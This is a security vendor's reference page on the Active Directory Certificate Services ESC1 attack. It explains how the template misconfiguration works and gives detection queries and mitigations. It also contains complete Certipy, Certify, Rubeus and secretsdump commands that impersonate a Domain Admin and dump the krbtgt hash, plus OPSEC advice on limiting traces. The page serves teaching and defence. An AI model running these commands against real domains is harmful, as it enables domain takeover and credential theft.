1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC1: Enrollee-Supplied Subject Alternative Name

Also known as: ESC1, Enrollee supplies subject, SAN abuse, Misconfigured client authentication template

A low-privileged user enrolls in a certificate template that lets the requester name the subject, asks for a certificate as a Domain Admin and signs in with it.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any domain account with Enroll on a published authentication template that has the enrollee-supplies-subject flag and no approval or signature requirement.
What the attacker gains
A certificate that authenticates as any chosen user or computer, including Domain Admins and domain controllers, valid until it expires or is revoked.
Threat groups
APT29NIMBUS MANTICOREGroups that MITRE ATT&CK records using T1649.

How it works

Active Directory Certificate Services (AD CS) issues certificates from templates. A template is a directory object that says who may enroll, what the certificate can be used for, and where the certificate's identity comes from. For most user and computer templates the CA builds the subject from the requester's own directory account. ESC1 is the case where it doesn't.

When msPKI-Certificate-Name-Flag on a template has the bit CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1), the CA takes the subject and the subject alternative name (SAN) from the request. The console shows this as "Supply in the request". If the same template carries an authentication EKU, the requester can ask for a certificate whose SAN holds another account's user principal name, and the CA signs it as a legitimate certificate.

The certificate is then used for PKINIT, the certificate form of Kerberos authentication. The domain controller validates the chain, checks the EKU, maps the certificate to an account and issues a ticket-granting ticket for that account. The CA and the KDC both behave as designed. The flaw is the combination of settings on the template:

  • A low-privileged principal (often Domain Users or Authenticated Users) has the Enroll right.
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set.
  • The EKU allows authentication: Client Authentication (1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (1.3.6.1.4.1.311.20.2.2), Any Purpose (2.5.29.37.0), or no EKU at all.
  • Manager approval is off (msPKI-Enrollment-Flag bit 0x2 clear) and no authorized signature is required (msPKI-RA-Signature is 0 or absent).
  • An enterprise CA publishes the template.

Strong certificate mapping

Since the May 2022 updates described in KB5014754, CAs add a security extension (OID 1.3.6.1.4.1.311.25.2) that carries the requester's SID, and domain controllers in Full Enforcement mode reject a certificate that has no strong mapping to the account it claims. A certificate with only a spoofed UPN therefore fails on a patched domain controller.

ESC1 survives this change because the requester controls the request. Certipy's -sid option and Certify's --sid option put the target account's SID into the request, and the issued certificate maps strongly to the target. The SID can also travel as a SAN URL of the form tag:microsoft.com,2022-09-14:sid:<SID>.

Related template flaws lead to the same request: ESC4 lets an attacker write these settings onto a safe template, and ESC6 turns on requester-supplied SANs for the whole CA.

Prerequisites

  • A domain account, of any privilege level, with network access to the CA (RPC/DCOM, or the web enrollment pages) and to a domain controller.
  • A template that meets every condition in the list above, published on a CA whose certificate is in the NTAuth store.
  • The Enroll right on that template, directly or through a nested group, and permission to request certificates from the CA itself.
  • A key that meets the template's minimum key size.
  • The SID of the target account when domain controllers enforce strong certificate mapping. Any domain user can read it over LDAP.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find vulnerable templates

From Linux, Certipy reads the templates and their ACLs over LDAP and marks the ones the current user can abuse:

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

In the output, an ESC1 template shows Enrollee Supplies Subject : True, Client Authentication : True, Requires Manager Approval : False, Authorized Signatures Required : 0, and the attacker's group under User Enrollable Principals.

From a domain-joined Windows host, Certify does the same:

Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins

Without tools, an LDAP filter on the configuration partition returns the candidates:

(&(objectclass=pkicertificatetemplate)
  (!(msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=2))
  (|(msPKI-RA-Signature=0)(!(msPKI-RA-Signature=*)))
  (|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)
    (pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)
    (pkiextendedkeyusage=1.3.6.1.5.2.3.4)
    (pkiextendedkeyusage=2.5.29.37.0)
    (!(pkiextendedkeyusage=*)))
  (msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))

The filter doesn't check who can enroll or whether a CA publishes the template. certutil -config "SRV01.corp.example.com\CORP-CA" -CATemplates lists what a CA issues.

2. Request a certificate as the target

Certipy needs the CA name, the CA host, the template and the identity to impersonate:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'VulnTemplate' \
    -upn 'administrator@corp.example.com' \
    -sid 'S-1-5-21-1004336348-1177238915-682003330-500'

Certipy writes administrator.pfx. To impersonate a computer, such as a domain controller, use -dns 'dc01.corp.example.com' instead of -upn, with the computer account's SID.

With Certify:

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template VulnTemplate --upn Administrator --sid S-1-5-21-1004336348-1177238915-682003330-500

Certify prints the certificate and key as a base64 PFX that Rubeus accepts directly.

3. Authenticate with the certificate

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10

Certipy requests a TGT through PKINIT, saves it as administrator.ccache and then recovers the account's NT hash from the ticket. Add -no-hash to stop after the TGT.

On Windows, Rubeus requests the TGT and injects it into the current logon session:

.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-or-path-to-pfx> /domain:corp.example.com /dc:DC01.corp.example.com /ptt /nowrap
klist

4. Use the access

The ticket is an ordinary TGT for the target account. With a Domain Admin's ticket the attacker can administer domain controllers or run DCSync:

export KRB5CCNAME=$PWD/administrator.ccache
secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip 192.0.2.10 'corp.example.com/administrator@DC01.corp.example.com'

Impact

ESC1 is a one-step privilege escalation from any domain user to any account in the forest that can sign in with a certificate, which includes every Domain Admin and every domain controller. The attacker never touches the victim's password or host.

The certificate is also a persistence mechanism. It stays valid for the template's validity period, often a year or more, and survives a password reset of the impersonated account. Only revocation on the CA, with a published CRL that domain controllers check, ends it. Because PKINIT returns the account's NT hash to the certificate holder, one request also yields a credential for pass-the-hash.

OPSEC and artifacts

  • One request, one target. A careful operator enumerates over LDAP with a single query, requests one certificate and never touches the template. LDAP reads of the Public Key Services container are normal client behavior and are rarely logged, so enumeration leaves little. The request still creates a row in the CA database with the requester, the template, the serial number and the SAN.
  • Request and issuance events. With Certification Services auditing on, the CA writes event 4886 when it receives the request and event 4887 when it issues the certificate, both with the real requester (alice), not the impersonated account. The newer event version adds the template and the subject alternative name.
  • Choosing RPC or web enrollment. Certipy can enroll over RPC, DCOM (-dcom) or the web enrollment pages (-web). The channel changes the network trace (RPC to the CA, or an HTTP POST in the IIS log) but not the CA events.
  • PKINIT on the domain controller. Event 4768 records the TGT request with a certificate pre-authentication type and, when the fields are filled, the certificate issuer, serial number and thumbprint. The source address is the attacker's host, not the administrator's workstation.
  • Skipping the hash. -no-hash stops Certipy after the TGT, so the follow-up ticket request that recovers the NT hash is never sent. The 4768 for the TGT remains.
  • Mapping failures. A request made without the SID against domain controllers in Full Enforcement fails and logs KDC event 39 or event 41 in the System log.
  • Files. The PFX, the ccache or kirbi file and the tool's JSON or text reports remain on the attacker's host. On Windows, process creation logging and EDR see Certify.exe and Rubeus.exe with their arguments.

Detection

The strongest signal is on the CA: the account that asked for the certificate is not the account the certificate names.

  • Requester and subject differ. Join 4886 and 4887 on the CA name and request ID, and compare Requester with SubjectAlternativeName. Routine enrollment by users and computers names the requester itself. Enrollment agents and device management services are the usual exceptions to baseline.
  • Sensitive templates. Alert on any issuance from a template that allows a requester-supplied subject and an authentication EKU, when the requester is not on the short list of services that need it.
  • Certificate sign-in by accounts that don't use certificates. Event 4768 with a certificate pre-authentication type for an administrator who has no smart card. The weak certificate mapping rules cover the built-in Administrator obtaining a TGT with a certificate, and the KDC events 39 and 41 that a failed attempt leaves.
  • Template changes. A template that becomes vulnerable shortly before a request points to ESC4. See the certificate template modification rules.
// Certificates issued with a subject alternative name that does not name the requester
WindowsEvent
| where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
         RequestId = tostring(EventData.RequestId),
         Template = tostring(EventData.CertificateTemplate),
         San = tostring(EventData.SubjectAlternativeName),
         Serial = tostring(EventData.SerialNumber)
| where isnotempty(San)
| extend RequesterName = tolower(tostring(split(Requester, "\\")[1]))
| where tolower(San) !contains RequesterName
| project TimeGenerated, Computer, RequestId, Requester, Template, San, Serial

The request events exist only when two settings are on: the Audit Certification Services subcategory on the CA server, and "Issue and manage certificate requests" in the CA's own audit filter (certutil -getreg CA\AuditFilter). Older event versions carry only the request ID, the requester and the attributes, so the SAN has to be read from the CA database (certutil -view) instead.

Mitigation

  • Turn off "Supply in the request" on authentication templates. Set the subject name to "Build from this Active Directory information". This clears CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT and removes the attack.
  • Where a template must accept a supplied subject (web servers, some device enrollment), remove authentication EKUs from it, require CA certificate manager approval, and restrict Enroll to a dedicated group.
  • Restrict enrollment. Remove Enroll and Autoenroll for Domain Users, Authenticated Users and Domain Computers from every template that doesn't need them.
  • Unpublish templates nobody uses. A template that no CA issues can't be requested.
  • Keep CAs and domain controllers patched and in Full Enforcement for strong certificate mapping. This doesn't stop ESC1 but removes the weaker variants and makes failed attempts visible.
  • Review who can write to templates, so the fix stays in place. See ESC4.
  • Audit the CA. Enable Audit Certification Services and the CA audit filter; the Active Directory audit policy guide covers the domain controller side.
  • After an incident, revoke the issued certificates, publish a CRL and reset the impersonated accounts' passwords.
  • Put AD CS in the hardening plan. The CA, its templates and its administrators are Tier 0; the Active Directory hardening guide places the AD CS review among the Tier 0 controls.

Detection rules for this attack

Log events to collect

FAQ

What makes a certificate template vulnerable to ESC1?

Four things together: a low-privileged group can enroll, the template has the enrollee-supplies-subject flag, it carries an authentication EKU such as Client Authentication, and it needs neither manager approval nor an authorized signature. The CA must also publish the template. Remove any one of these and the request fails or waits for a person to approve it.

Did the 2022 strong certificate mapping update fix ESC1?

No. KB5014754 makes domain controllers reject certificates that have no strong mapping to an account, so a certificate with only a spoofed UPN fails. But on an ESC1 template the requester supplies the subject, so current tools also supply the target's SID in the request. The certificate then maps strongly to the target account.

How do you detect ESC1?

On the CA, compare the requester in events 4886 and 4887 with the subject alternative name of the issued certificate. A low-privileged requester receiving a certificate that names a different, privileged account is the signal. On domain controllers, look at event 4768 for certificate sign-ins by accounts that do not normally use certificates.

Does resetting the victim's password stop an attacker who holds an ESC1 certificate?

No. The certificate is a separate credential and keeps working after a password change. Revoke the certificate on the CA, publish a new CRL, fix the template, and then rotate the account's password, because the attacker may have recovered its NT hash through PKINIT.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.